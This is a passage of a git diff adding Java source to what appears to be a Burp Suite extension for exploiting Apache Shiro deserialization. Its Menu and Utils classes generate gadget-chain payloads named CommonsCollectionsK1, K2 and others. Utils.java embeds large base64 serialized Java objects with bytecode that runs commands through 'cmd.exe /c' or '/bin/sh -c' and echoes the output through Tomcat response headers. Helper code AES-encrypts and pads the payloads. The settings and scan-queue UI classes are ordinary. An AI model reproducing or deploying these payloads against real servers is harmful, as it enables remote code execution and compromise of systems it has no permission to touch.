cipher.doFinal(pad(payload)); + return new String(Base64.encode(byteMerger(ivs, encrypted))); + } catch (Exception exception) { + return "0"; + } + } + + private static SecureRandom secureRandom; + + private static int initializationVectorSize = 128; + + private static byte[] pad(byte[] s) { + s = byteMerger(s, charToByte((char)(16 - s.length % 16))); + return s; + } + + private static byte[] charToByte(char c) { + byte[] b = new byte[2]; + b[0] = (byte)((c & 0xFF00) >> 8); + b[1] = (byte)(c & 0xFF); + return b; + } + + private static byte[] byteMerger(byte[] bt1, byte[] bt2) { + byte[] bt3 = new byte[bt1.length + bt2.length]; + System.arraycopy(bt1, 0, bt3, 0, bt1.length); + System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length); + return bt3; + } + + private static byte[] generateInitializationVector() { + int size = getInitializationVectorSize(); + int sizeInBytes = size / 8; + byte[] ivBytes = new byte[sizeInBytes]; + SecureRandom random = ensureSecureRandom(); + random.nextBytes(ivBytes); + return ivBytes; + } + + private static SecureRandom ensureSecureRandom() { + SecureRandom random = getSecureRandom(); + if (random == null) + random = getDefaultSecureRandom(); + return random; + } + + private static SecureRandom getSecureRandom() { + return secureRandom; + } + + private static SecureRandom getDefaultSecureRandom() { + try { + return SecureRandom.getInstance("SHA1PRNG"); + } catch (NoSuchAlgorithmException e) { + return new SecureRandom(); + } + } + + private static int getInitializationVectorSize() { + return initializationVectorSize; + } +} diff --git a/src/main/java/burp/Menu.java b/src/main/java/burp/Menu.java new file mode 100644 index 0000000..905a650 --- /dev/null +++ b/src/main/java/burp/Menu.java @@ -0,0 +1,111 @@ +package burp; + +import javax.swing.*; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.util.ArrayList; +import java.util.List; + +public class Menu implements IContextMenuFactory { + + @Override + public List createMenuItems(final IContextMenuInvocation invocation) { + final List menuList = new ArrayList<>(); + + JMenu shiroMenu = new JMenu("Generate"); + final JMenuItem k1 = new JMenuItem("CommonsCollectionsK1"); + final JMenuItem k2 = new JMenuItem("CommonsCollectionsK2"); + final JMenuItem cb1 = new JMenuItem("CommonsBeanutils1"); + final JMenuItem cb2 = new JMenuItem("CommonsBeanutils2"); + final JMenuItem Jdk7u21 = new JMenuItem("Jdk7u21"); + final JMenuItem Jdk8u20 = new JMenuItem("Jdk8u20"); + final JMenuItem config = new JMenuItem("Config"); + + k1.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + try { + Utils.xrayGadgets("k1", invocation); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + }); + + k2.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + try { + Utils.xrayGadgets("k2", invocation); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + }); + + cb1.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + try { + Utils.xrayGadgets("cb1", invocation); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + }); + + cb2.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + try { + Utils.xrayGadgets("cb2", invocation); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + }); + + Jdk7u21.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + try { + Utils.xrayGadgets("Jdk7u21", invocation); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + }); + + Jdk8u20.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + try { + Utils.xrayGadgets("Jdk8u20", invocation); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + }); + + config.addActionListener(new ActionListener() { + @Override + public void actionPerformed(ActionEvent e) { + ConfigDlg dlg = new ConfigDlg(); + BurpExtender.callbacks.customizeUiComponent(dlg); + dlg.setVisible(true); + } + }); + + + shiroMenu.add(k1); + shiroMenu.add(k2); + shiroMenu.add(cb1); + shiroMenu.add(cb2); + shiroMenu.add(Jdk7u21); + shiroMenu.add(Jdk8u20); + shiroMenu.add(config); + + menuList.add(shiroMenu); + return menuList; + } +} diff --git a/src/main/java/burp/Ui/BaseSettingTag.java b/src/main/java/burp/Ui/BaseSettingTag.java new file mode 100644 index 0000000..1a50f3c --- /dev/null +++ b/src/main/java/burp/Ui/BaseSettingTag.java @@ -0,0 +1,47 @@ +package burp.Ui; + +import java.awt.*; +import javax.swing.*; + +import burp.IBurpExtenderCallbacks; +import burp.Bootstrap.YamlReader; + +public class BaseSettingTag { + private YamlReader yamlReader; + + private JCheckBox isStartBox; + + public BaseSettingTag(IBurpExtenderCallbacks callbacks, JTabbedPane tabs, YamlReader yamlReader) { + JPanel baseSetting = new JPanel(new GridBagLayout()); + GridBagConstraints c = new GridBagConstraints(); + this.yamlReader = yamlReader; + + this.input1_1(baseSetting, c); + this.input1_2(baseSetting, c); + + tabs.addTab("基本设置", baseSetting); + } + + private void input1_1(JPanel baseSetting, GridBagConstraints c) { + JLabel br_lbl_1_1 = new JLabel("基础设置"); + br_lbl_1_1.setForeground(new Color(255, 89, 18)); + br_lbl_1_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_1_1.getFont().getSize() + 2)); + c.insets = new Insets(5, 5, 5, 5); + c.gridx = 0; + c.gridy = 1; + baseSetting.add(br_lbl_1_1, c); + } + + private void input1_2(JPanel baseSetting, GridBagConstraints c) { + this.isStartBox = new JCheckBox("插件-启动", this.yamlReader.getBoolean("isStart")); + this.isStartBox.setFont(new Font("Serif", Font.PLAIN, this.isStartBox.getFont().getSize())); + c.insets = new Insets(5, 5, 5, 5); + c.gridx = 0; + c.gridy = 2; + baseSetting.add(this.isStartBox, c); + } + + public Boolean isStart() { + return this.isStartBox.isSelected(); + } +} \ No newline at end of file diff --git a/src/main/java/burp/Ui/ScanQueueTag.java b/src/main/java/burp/Ui/ScanQueueTag.java new file mode 100644 index 0000000..8950197 --- /dev/null +++ b/src/main/java/burp/Ui/ScanQueueTag.java @@ -0,0 +1,276 @@ +package burp.Ui; + +import java.awt.*; +import java.text.SimpleDateFormat; +import java.util.ArrayList; +import java.util.Date; +import java.util.List; +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import javax.swing.table.TableModel; + +import burp.*; + +public class ScanQueueTag extends AbstractTableModel implements IMessageEditorController { + + private JSplitPane mjSplitPane; + private List Udatas = new ArrayList(); + private IMessageEditor HRequestTextEditor; + private IMessageEditor HResponseTextEditor; + private IHttpRequestResponse currentlyDisplayedItem; + private ScanQueueTag.URLTable Utable; + private JScrollPane UscrollPane; + private JSplitPane HjSplitPane; + private JTabbedPane Ltable; + private JTabbedPane Rtable; + + public ScanQueueTag(IBurpExtenderCallbacks callbacks, JTabbedPane tabs) { + JPanel scanQueue = new JPanel(new BorderLayout()); + + // 主分隔面板 + mjSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); + + // 任务栏面板 + Utable = new ScanQueueTag.URLTable(ScanQueueTag.this); + UscrollPane = new JScrollPane(Utable); + + // 请求与响应界面的分隔面板规则 + HjSplitPane = new JSplitPane(); + HjSplitPane.setResizeWeight(0.5); + + // 请求的面板 + Ltable = new JTabbedPane(); + HRequestTextEditor = callbacks.createMessageEditor(ScanQueueTag.this, false); + Ltable.addTab("Request", HRequestTextEditor.getComponent()); + + // 响应的面板 + Rtable = new JTabbedPane(); + HResponseTextEditor = callbacks.createMessageEditor(ScanQueueTag.this, false); + Rtable.addTab("Response", HResponseTextEditor.getComponent()); + + // 自定义程序UI组件 + HjSplitPane.add(Ltable, "left"); + HjSplitPane.add(Rtable, "right"); + + mjSplitPane.add(UscrollPane, "left"); + mjSplitPane.add(HjSplitPane, "right"); + + scanQueue.add(mjSplitPane); + tabs.addTab("扫描队列", scanQueue); + } + + @Override + public IHttpService getHttpService() { + return currentlyDisplayedItem.getHttpService(); + } + + @Override + public byte[] getRequest() { + return currentlyDisplayedItem.getRequest(); + } + + @Override + public byte[] getResponse() { + return currentlyDisplayedItem.getResponse(); + } + + @Override + public int getRowCount() { + return this.Udatas.size(); + } + + @Override + public int getColumnCount() { + return 9; + } + + @Override + public String getColumnName(int columnIndex) { + switch (columnIndex) { + case 0: + return "#"; + case 1: + return "extensionMethod"; + case 2: + return "encryptMethod"; + case 3: + return "requestMethod"; + case 4: + return "url"; + case 5: + return "statusCode"; + case 6: + return "issue"; + case 7: + return "startTime"; + case 8: + return "endTime"; + } + return null; + } + + @Override + public Class getColumnClass(int columnIndex) { + return String.class; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + ScanQueueTag.TablesData datas = this.Udatas.get(rowIndex); + switch (columnIndex) { + case 0: + return datas.id; + case 1: + return datas.extensionMethod; + case 2: + return datas.encryptMethod; + case 3: + return datas.requestMethod; + case 4: + return datas.url; + case 5: + return datas.statusCode; + case 6: + return datas.issue; + case 7: + return datas.startTime; + case 8: + return datas.endTime; + } + return null; + } + + /** + * 新增任务至任务栏面板 + * + * @param extensionMethod + * @param encryptMethod + * @param requestMethod + * @param url + * @param statusCode + * @param issue + * @param requestResponse + * @return int id + */ + public int add(String extensionMethod, String encryptMethod, String requestMethod, + String url, String statusCode, String issue, + IHttpRequestResponse requestResponse) { + synchronized (this.Udatas) { + Date d = new Date(); + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String startTime = sdf.format(d); + + int id = this.Udatas.size(); + this.Udatas.add( + new TablesData( + id, + extensionMethod, + encryptMethod, + requestMethod, + url, + statusCode, + issue, + startTime, + "", + requestResponse + ) + ); + fireTableRowsInserted(id, id); + return id; + } + } + + /** + * 更新任务状态至任务栏面板 + * + * @param id + * @param extensionMethod + * @param encryptMethod + * @param requestMethod + * @param url + * @param statusCode + * @param issue + * @param requestResponse + * @return int id + */ + public int save(int id, String extensionMethod, String encryptMethod, + String requestMethod, String url, String statusCode, + String issue, IHttpRequestResponse requestResponse) { + ScanQueueTag.TablesData dataEntry = ScanQueueTag.this.Udatas.get(id); + String startTime = dataEntry.startTime; + + Date d = new Date(); + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String endTime = sdf.format(d); + + synchronized (this.Udatas) { + this.Udatas.set( + id, + new TablesData( + id, + extensionMethod, + encryptMethod, + requestMethod, + url, + statusCode, + issue, + startTime, + endTime, + requestResponse + ) + ); + fireTableRowsUpdated(id, id); + return id; + } + } + + /** + * 自定义Table + */ + private class URLTable extends JTable { + public URLTable(TableModel tableModel) { + super(tableModel); + } + + @Override + public void changeSelection(int row, int col, boolean toggle, boolean extend) { + ScanQueueTag.TablesData dataEntry = ScanQueueTag.this.Udatas.get(convertRowIndexToModel(row)); + HRequestTextEditor.setMessage(dataEntry.requestResponse.getRequest(), true); + HResponseTextEditor.setMessage(dataEntry.requestResponse.getResponse(), false); + currentlyDisplayedItem = dataEntry.requestResponse; + super.changeSelection(row, col, toggle, extend); + } + } + + /** + * 界面显示数据存储模块 + */ + private static class TablesData { + final int id; + final String extensionMethod; + final String encryptMethod; + final String requestMethod; + final String url; + final String statusCode; + final String issue; + final String startTime; + final String endTime; + final IHttpRequestResponse requestResponse; + + public TablesData(int id, String extensionMethod, String encryptMethod, + String requestMethod, String url, String statusCode, + String issue, String startTime, String endTime, + IHttpRequestResponse requestResponse) { + this.id = id; + this.extensionMethod = extensionMethod; + this.encryptMethod = encryptMethod; + this.requestMethod = requestMethod; + this.url = url; + this.statusCode = statusCode; + this.issue = issue; + this.startTime = startTime; + this.endTime = endTime; + this.requestResponse = requestResponse; + } + } +} \ No newline at end of file diff --git a/src/main/java/burp/Ui/Tags.java b/src/main/java/burp/Ui/Tags.java new file mode 100644 index 0000000..fff5612 --- /dev/null +++ b/src/main/java/burp/Ui/Tags.java @@ -0,0 +1,69 @@ +package burp.Ui; + +import java.awt.*; +import javax.swing.JTabbedPane; + +import burp.ITab; +import burp.IBurpExtenderCallbacks; + +import burp.Bootstrap.YamlReader; + +public class Tags implements ITab { + private final JTabbedPane tabs; + + private String tagName; + + private BaseSettingTag baseSettingTag; + private ScanQueueTag scanQueueTag; + + public Tags(IBurpExtenderCallbacks callbacks, String name) { + this.tagName = name; + + tabs = new JTabbedPane(); + + YamlReader yamlReader = YamlReader.getInstance(callbacks); + + // 扫描队列-窗口 + ScanQueueTag scanQueueTag = new ScanQueueTag(callbacks, tabs); + this.scanQueueTag = scanQueueTag; + + // 基本设置-窗口 + BaseSettingTag baseSettingTag = new BaseSettingTag(callbacks, tabs, yamlReader); + this.baseSettingTag = baseSettingTag; + + // 自定义组件-导入 + callbacks.customizeUiComponent(tabs); + + // 将自定义选项卡添加到Burp的UI + callbacks.addSuiteTab(Tags.this); + } + + /** + * 基础设置tag + * + * @return + */ + public BaseSettingTag getBaseSettingTagClass() { + return this.baseSettingTag; + } + + /** + * 扫描队列tag + * 可通过该类提供的方法,进行tag任务的添加与修改 + * + * @return + */ + public ScanQueueTag getScanQueueTagClass() { + return this.scanQueueTag; + } + + @Override + public String getTabCaption() { + return this.tagName; + } + + @Override + public Component getUiComponent() { + return this.tabs; + } +} \ No newline at end of file diff --git a/src/main/java/burp/Utils.java b/src/main/java/burp/Utils.java new file mode 100644 index 0000000..6e22081 --- /dev/null +++ b/src/main/java/burp/Utils.java @@ -0,0 +1,134 @@ +package burp; + +import org.apache.shiro.codec.Base64; +import org.apache.shiro.crypto.AesCipherService; +import org.apache.shiro.util.ByteSource; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.UnsupportedEncodingException; +import java.lang.reflect.Field; +import java.net.InetAddress; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLStreamHandler; +import java.util.*; + +public class Utils { + + public static void xrayGadgets(String selectGadget, IContextMenuInvocation invocation) throws Exception { + + String CommonsCollectionsK1 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACEkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAH/////AXB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb29XRWN0SGptdmEHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb1dFY3RIam12YS5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClM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dGlsLkhhc2h0YWJsZRO7DyUhSuS4AwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAh3CAAAAAsAAAAAeHB3AQB4c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4AClsAC2lQYXJhbVR5cGVzcQB+AAl4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAB0AA5uZXdUcmFuc2Zvcm1lcnVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAABdHg="; + String CommonsCollectionsK2 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAhJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhaABVfdXNlU2VydmljZXNNZWNoYW5pc21MAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAB/////wFwdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAADwPK/rq+AAAAMgDpAQAMRm9vZ2RMUVpRbjZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABFGb29nZExRWlFuNmUuamF2YQEACXdyaXRlQm9keQEAFyhMamF2YS9sYW5nL09iamVjdDtbQilWAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCAAJAQAPamF2YS9sYW5nL0NsYXNzBwALAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAA0ADgoADAAPAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAEQASCgAMABMBAAhzZXRCeXRlcwgAFQEAAltCBwAXAQARamF2YS9sYW5nL0ludGVnZXIHABkBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMABsAHAkAGgAdAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAAfACAKAAwAIQEABjxpbml0PgEABChJKVYMACMAJAoAGgAlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAnAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAApACoKACgAKwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwALQAuCgAEAC8BAAdkb1dyaXRlCAAxAQAJZ2V0TWV0aG9kDAAzACAKAAwANAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HADYBABNqYXZhLm5pby5CeXRlQnVmZmVyCAA4AQAEd3JhcAgAOgEABENvZGUBAApFeGNlcHRpb25zAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAPgEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmE